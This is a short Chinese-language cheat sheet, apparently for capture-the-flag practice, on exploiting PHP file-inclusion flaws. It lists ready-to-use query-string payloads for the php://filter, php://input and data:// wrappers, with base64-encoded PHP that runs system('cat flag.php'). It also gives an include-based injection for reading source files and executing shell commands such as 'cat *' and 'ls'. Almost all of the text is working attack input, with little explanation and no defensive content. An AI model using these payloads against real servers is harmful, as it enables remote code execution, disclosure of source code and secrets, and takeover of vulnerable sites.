include函数进行文件包含,再用伪协议进行读取
1、filter协议
(要求:allow_url_fopen=Off/On,allow_url_include=Off/On)
?file=php://filter/resource=
(非php文件不能include,直接输出文件源码,php文件将用inlcude包含执行)
如果想读取php源码,先base64
?file=php://filter/convert.base64-encode/resource=flag.php
2、input协议
(要求:allow_url_fopen=Off/On,allow_url_include=On)
?file=php://input
然后在POST中输入php代码,如<?php phpinfo(); ?>
3、data协议
(要求:allow_url_fopen=On,allow_url_include=On)
注意没编码是逗号,有编码是分号;
?file=data://text/plain,<?php system(“cat *”);?>
?file=data://text/plain,<?pHp system(‘ls’);?>
如果没有回显,使用base64
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
上面伪协议是基本知识
——————————————————————————————————————————————-
下面利用include和伪协议进行命令注入
如:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=data:text/plain,<?php system(‘cat *’)?>
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4= (<?php include(‘flag.php’);echo $flag?>)
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== (<?php system(‘cat flag.php’);?>)